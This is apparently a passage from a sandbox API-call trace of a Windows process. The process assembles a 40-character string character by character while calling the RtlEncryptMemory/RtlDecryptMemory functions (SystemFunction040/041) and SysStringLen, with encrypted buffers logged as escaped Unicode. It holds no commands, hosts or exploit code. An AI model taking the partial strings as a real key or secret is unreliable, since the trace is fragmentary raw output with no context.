Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.487] SysStringLen (param_1="93bdjvxPIiMuoc䐦ꓱ") returned 0x10 [0134.487] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.487] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xe7e7\xe7c7\x1830\x8909\xd4f7\xd488\xc57c\x8480") returned 0x10 [0134.487] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xe7e7\xe7c7\x1830\x8909\xd4f7\xd488\xc57c\x8480") returned 0x10 [0134.487] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.487] SysStringLen (param_1="93bdjvxPIiMuocBꓱ") returned 0x10 [0134.487] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.487] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xbffd\x2587\xc2e4\xf78c\xb450\x2704\x85c0\x8e59") returned 0x10 [0134.487] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xbffd\x2587\xc2e4\xf78c\xb450\x2704\x85c0\x8e59") returned 0x10 [0134.487] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.487] SysStringLen (param_1="93bdjvxPIiMuocBb") returned 0x10 [0134.487] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.488] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4") returned 0x10 [0134.488] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4") returned 0x10 [0134.488] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4") returned 0x10 [0134.488] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4") returned 0x18 [0134.488] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.488] SysStringLen (param_1="93bdjvxPIiMuocBbG䄂뚰浝ᗞ쬺嘆") returned 0x18 [0134.488] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.488] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\xf760\x2d94\x136a\xe242\x8001\xc99a\x85dc\x2da4") returned 0x18 [0134.488] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\xf760\x2d94\x136a\xe242\x8001\xc99a\x85dc\x2da4") returned 0x18 [0134.488] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.488] SysStringLen (param_1="93bdjvxPIiMuocBbG8뚰浝ᗞ쬺嘆") returned 0x18 [0134.488] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.488] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\x748d\xa13e\x6b1\xddd9\xdec8\xf53f\x4dbf\x2aae") returned 0x18 [0134.488] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\x748d\xa13e\x6b1\xddd9\xdec8\xf53f\x4dbf\x2aae") returned 0x18 [0134.488] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.488] SysStringLen (param_1="93bdjvxPIiMuocBbG8w浝ᗞ쬺嘆") returned 0x18 [0134.488] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.489] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\xceba\x587f\x5880\xbc35\xa2dc\xd2b1\x820e\xe7db") returned 0x18 [0134.489] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\xceba\x587f\x5880\xbc35\xa2dc\xd2b1\x820e\xe7db") returned 0x18 [0134.489] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.489] SysStringLen (param_1="93bdjvxPIiMuocBbG8wZᗞ쬺嘆") returned 0x18 [0134.489] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.489] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\x42ef\x86a7\x1dec\x8d13\x2399\xc39e\x1b6\x9b7a") returned 0x18 [0134.489] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\x42ef\x86a7\x1dec\x8d13\x2399\xc39e\x1b6\x9b7a") returned 0x18 [0134.489] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.489] SysStringLen (param_1="93bdjvxPIiMuocBbG8wZj쬺嘆") returned 0x18 [0134.489] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.489] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\xc065\xc84b\x6dad\xc02e\x37de\x3dbc\x821a\x1254") returned 0x18 [0134.489] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\xc065\xc84b\x6dad\xc02e\x37de\x3dbc\x821a\x1254") returned 0x18 [0134.489] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.489] SysStringLen (param_1="93bdjvxPIiMuocBbG8wZjC쬺嘆") returned 0x18 [0134.489] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.489] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\x4a2c\x894c\x159\x2d92\xa45d\x6113\x5fdb\xf87c") returned 0x18 [0134.489] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\x4a2c\x894c\x159\x2d92\xa45d\x6113\x5fdb\xf87c") returned 0x18 [0134.489] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.491] SysStringLen (param_1="93bdjvxPIiMuocBbG8wZjCs嘆") returned 0x18 [0134.491] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.491] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\xe822\x280a\x80e7\xcf0\x54ff\x17c6\xb1ca\xc950") returned 0x18 [0134.491] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\xe822\x280a\x80e7\xcf0\x54ff\x17c6\xb1ca\xc950") returned 0x18 [0134.491] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.491] SysStringLen (param_1="93bdjvxPIiMuocBbG8wZjCsn") returned 0x18 [0134.491] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.491] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\x608f\xca75\x62a8\x4546\x5206\x84f\x3197\x2997") returned 0x18 [0134.491] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\x608f\xca75\x62a8\x4546\x5206\x84f\x3197\x2997") returned 0x18 [0134.491] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\x608f\xca75\x62a8\x4546\x5206\x84f\x3197\x2997") returned 0x18 [0134.491] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\x608f\xca75\x62a8\x4546\x5206\x84f\x3197\x2997") returned 0x20 [0134.491] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.491] SysStringLen (param_1="93bdjvxPIiMuocBbG8wZjCsn6쩟ᇠ䑀集᳚瑬᥄") returned 0x20 [0134.491] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.491] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\x608f\xca75\x62a8\x4546\x5206\x84f\x3197\x2997\xd454\x9868\x1801\xde55\x3069\x9e1c\x1275\x5651") returned 0x20 [0134.492] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\x608f\xca75\x62a8\x4546\x5206\x84f\x3197\x2997\xd454\x9868\x1801\xde55\x3069\x9e1c\x1275\x5651") returned 0x20 [0134.492] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.492] SysStringLen (param_1="93bdjvxPIiMuocBbG8wZjCsn6lᇠ䑀集᳚瑬᥄") returned 0x20 [0134.492] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.492] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\x608f\xca75\x62a8\x4546\x5206\x84f\x3197\x2997\xbd46\x4e5a\xb88\x13ce\x63ef\x1a69\xe1b0\x83ac") returned 0x20 [0134.492] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\x608f\xca75\x62a8\x4546\x5206\x84f\x3197\x2997\xbd46\x4e5a\xb88\x13ce\x63ef\x1a69\xe1b0\x83ac") returned 0x20 [0134.492] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.492] SysStringLen (param_1="93bdjvxPIiMuocBbG8wZjCsn6lo䑀集᳚瑬᥄") returned 0x20 [0134.492] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.492] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\x608f\xca75\x62a8\x4546\x5206\x84f\x3197\x2997\x4b7b\xe33a\xeffb\x4e15\xda52\xf2a0\xca11\x7b62") returned 0x20 [0134.492] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\x608f\xca75\x62a8\x4546\x5206\x84f\x3197\x2997\x4b7b\xe33a\xeffb\x4e15\xda52\xf2a0\xca11\x7b62") returned 0x20 [0134.492] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.492] SysStringLen (param_1="93bdjvxPIiMuocBbG8wZjCsn6lol集᳚瑬᥄") returned 0x20 [0134.492] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.492] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\x608f\xca75\x62a8\x4546\x5206\x84f\x3197\x2997\xd9d\xe5a1\x4f6b\x38fc\x5291\x7d82\xf9d1\xdcc8") returned 0x20 [0134.492] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\x608f\xca75\x62a8\x4546\x5206\x84f\x3197\x2997\xd9d\xe5a1\x4f6b\x38fc\x5291\x7d82\xf9d1\xdcc8") returned 0x20 [0134.492] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.493] SysStringLen (param_1="93bdjvxPIiMuocBbG8wZjCsn6lolg᳚瑬᥄") returned 0x20 [0134.493] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.493] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\x608f\xca75\x62a8\x4546\x5206\x84f\x3197\x2997\x4186\xf139\x9646\x4220\x6bb2\x8584\x260b\x9340") returned 0x20 [0134.493] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\x608f\xca75\x62a8\x4546\x5206\x84f\x3197\x2997\x4186\xf139\x9646\x4220\x6bb2\x8584\x260b\x9340") returned 0x20 [0134.493] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.493] SysStringLen (param_1="93bdjvxPIiMuocBbG8wZjCsn6lolgy瑬᥄") returned 0x20 [0134.493] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.493] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\x608f\xca75\x62a8\x4546\x5206\x84f\x3197\x2997\x1a0d\xd86\xe771\x2b57\x61bc\xf9cd\xc252\xc142") returned 0x20 [0134.493] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\x608f\xca75\x62a8\x4546\x5206\x84f\x3197\x2997\x1a0d\xd86\xe771\x2b57\x61bc\xf9cd\xc252\xc142") returned 0x20 [0134.493] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.493] SysStringLen (param_1="93bdjvxPIiMuocBbG8wZjCsn6lolgy6᥄") returned 0x20 [0134.493] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.493] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\x608f\xca75\x62a8\x4546\x5206\x84f\x3197\x2997\xefa2\x16e\xd840\x488b\xab37\xb1fb\x53b6\x6d02") returned 0x20 [0134.493] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\x608f\xca75\x62a8\x4546\x5206\x84f\x3197\x2997\xefa2\x16e\xd840\x488b\xab37\xb1fb\x53b6\x6d02") returned 0x20 [0134.493] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.493] SysStringLen (param_1="93bdjvxPIiMuocBbG8wZjCsn6lolgy64") returned 0x20 [0134.493] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.493] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\x608f\xca75\x62a8\x4546\x5206\x84f\x3197\x2997\x19ed\x9a8f\x8a7b\x958b\x89fc\x711f\x5c68\xc13") returned 0x20 [0134.494] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\x608f\xca75\x62a8\x4546\x5206\x84f\x3197\x2997\x19ed\x9a8f\x8a7b\x958b\x89fc\x711f\x5c68\xc13") returned 0x20 [0134.494] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\x608f\xca75\x62a8\x4546\x5206\x84f\x3197\x2997\x19ed\x9a8f\x8a7b\x958b\x89fc\x711f\x5c68\xc13") returned 0x20 [0134.494] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\x608f\xca75\x62a8\x4546\x5206\x84f\x3197\x2997\x19ed\x9a8f\x8a7b\x958b\x89fc\x711f\x5c68\xc13\x970") returned 0x28 [0134.494] SystemFunction041 (in: Memory=0x43834a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43834a4) returned 0x0 [0134.494] SysStringLen (param_1="93bdjvxPIiMuocBbG8wZjCsn6lolgy644粒␜핉㐮∥퍅誒") returned 0x28 [0134.494] SystemFunction040 (in: Memory=0x43834a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43834a4) returned 0x0 [0134.494] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\x608f\xca75\x62a8\x4546\x5206\x84f\x3197\x2997\x19ed\x9a8f\x8a7b\x958b\x89fc\x711f\x5c68\xc13\x7060\xb457\xe855\x8b35\xfae3\xdd40\xd381\x61ec") returned 0x28 [0134.494] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\x608f\xca75\x62a8\x4546\x5206\x84f\x3197\x2997\x19ed\x9a8f\x8a7b\x958b\x89fc\x711f\x5c68\xc13\x7060\xb457\xe855\x8b35\xfae3\xdd40\xd381\x61ec") returned 0x28 [0134.494] SystemFunction041 (in: Memory=0x43834a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43834a4) returned 0x0 [0134.494] SysStringLen (param_1="93bdjvxPIiMuocBbG8wZjCsn6lolgy6449␜핉㐮∥퍅誒") returned 0x28 [0134.494] SystemFunction040 (in: Memory=0x43834a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43834a4) returned 0x0 [0134.494] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\x608f\xca75\x62a8\x4546\x5206\x84f\x3197\x2997\x19ed\x9a8f\x8a7b\x958b\x89fc\x711f\x5c68\xc13\xf4a0\x8129\x6f79\x8cd6\xeac3\xc327\x3721\x2553") returned 0x28 [0134.494] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\x608f\xca75\x62a8\x4546\x5206\x84f\x3197\x2997\x19ed\x9a8f\x8a7b\x958b\x89fc\x711f\x5c68\xc13\xf4a0\x8129\x6f79\x8cd6\xeac3\xc327\x3721\x2553") returned 0x28 [0134.494] SystemFunction041 (in: Memory=0x43834a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43834a4) returned 0x0 [0134.494] SysStringLen (param_1="93bdjvxPIiMuocBbG8wZjCsn6lolgy6449d핉㐮∥퍅誒") returned 0x28 [0134.494] SystemFunction040 (in: Memory=0x43834a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43834a4) returned 0x0 [0134.494] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\x608f\xca75\x62a8\x4546\x5206\x84f\x3197\x2997\x19ed\x9a8f\x8a7b\x958b\x89fc\x711f\x5c68\xc13\xf623\xf9bb\x4e69\x3ae6\x959c\x8f42\xd784\x23f9") returned 0x28 [0134.495] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\x608f\xca75\x62a8\x4546\x5206\x84f\x3197\x2997\x19ed\x9a8f\x8a7b\x958b\x89fc\x711f\x5c68\xc13\xf623\xf9bb\x4e69\x3ae6\x959c\x8f42\xd784\x23f9") returned 0x28 [0134.495] SystemFunction041 (in: Memory=0x43834a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43834a4) returned 0x0 [0134.495] SysStringLen (param_1="93bdjvxPIiMuocBbG8wZjCsn6lolgy6449d3㐮∥퍅誒") returned 0x28 [0134.495] SystemFunction040 (in: Memory=0x43834a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43834a4) returned 0x0 [0134.495] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\x608f\xca75\x62a8\x4546\x5206\x84f\x3197\x2997\x19ed\x9a8f\x8a7b\x958b\x89fc\x711f\x5c68\xc13\xf68e\xad87\xb848\x85f5\xb4e4\xc02c\xb861\xdf12") returned 0x28 [0134.495] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\x608f\xca75\x62a8\x4546\x5206\x84f\x3197\x2997\x19ed\x9a8f\x8a7b\x958b\x89fc\x711f\x5c68\xc13\xf68e\xad87\xb848\x85f5\xb4e4\xc02c\xb861\xdf12") returned 0x28 [0134.495] SystemFunction041 (in: Memory=0x43834a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43834a4) returned 0x0 [0134.495] SysStringLen (param_1="93bdjvxPIiMuocBbG8wZjCsn6lolgy6449d3E∥퍅誒") returned 0x28 [0134.495] SystemFunction040 (in: Memory=0x43834a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43834a4) returned 0x0 [0134.495] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\x608f\xca75\x62a8\x4546\x5206\x84f\x3197\x2997\x19ed\x9a8f\x8a7b\x958b\x89fc\x711f\x5c68\xc13\x4387\x99e9\xf3b3\x7b4\x9674\xc047\x2168\x11b3") returned 0x28 [0134.495] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\x608f\xca75\x62a8\x4546\x5206\x84f\x3197\x2997\x19ed\x9a8f\x8a7b\x958b\x89fc\x711f\x5c68\xc13\x4387\x99e9\xf3b3\x7b4\x9674\xc047\x2168\x11b3") returned 0x28 [0134.495] SystemFunction041 (in: Memory=0x43834a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43834a4) returned 0x0 [0134.495] SysStringLen (param_1="93bdjvxPIiMuocBbG8wZjCsn6lolgy6449d3EL퍅誒") returned 0x28 [0134.495] SystemFunction040 (in: Memory=0x43834a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43834a4) returned 0x0 [0134.495] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\x608f\xca75\x62a8\x4546\x5206\x84f\x3197\x2997\x19ed\x9a8f\x8a7b\x958b\x89fc\x711f\x5c68\xc13\xa560\x496c\x32e8\x7e4a\x6a34\xea3\xfcaf\xb08a") returned 0x28 [0134.495] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\x608f\xca75\x62a8\x4546\x5206\x84f\x3197\x2997\x19ed\x9a8f\x8a7b\x958b\x89fc\x711f\x5c68\xc13\xa560\x496c\x32e8\x7e4a\x6a34\xea3\xfcaf\xb08a") returned 0x28 [0134.495] SystemFunction041 (in: Memory=0x43834a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43834a4) returned 0x0 [0134.495] SysStringLen (param_1="93bdjvxPIiMuocBbG8wZjCsn6lolgy6449d3ELG誒") returned 0x28 [0134.496] SystemFunction040 (in: Memory=0x43834a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43834a4) returned 0x0 [0134.496] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\x608f\xca75\x62a8\x4546\x5206\x84f\x3197\x2997\x19ed\x9a8f\x8a7b\x958b\x89fc\x711f\x5c68\xc13\x116f\x47f9\x78d6\x64d2\xa057\x754d\xe6b9\x3ad") returned 0x28 [0134.496] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\x608f\xca75\x62a8\x4546\x5206\x84f\x3197\x2997\x19ed\x9a8f\x8a7b\x958b\x89fc\x711f\x5c68\xc13\x116f\x47f9\x78d6\x64d2\xa057\x754d\xe6b9\x3ad") returned 0x28 [0134.496] SystemFunction041 (in: Memory=0x43834a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43834a4) returned 0x0 [0134.496] SysStringLen (param_1="93bdjvxPIiMuocBbG8wZjCsn6lolgy6449d3ELGe") returned 0x28 [0134.496] SystemFunction040 (in: Memory=0x43834a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43834a4) returned 0x0 [0134.496] SysStringLen 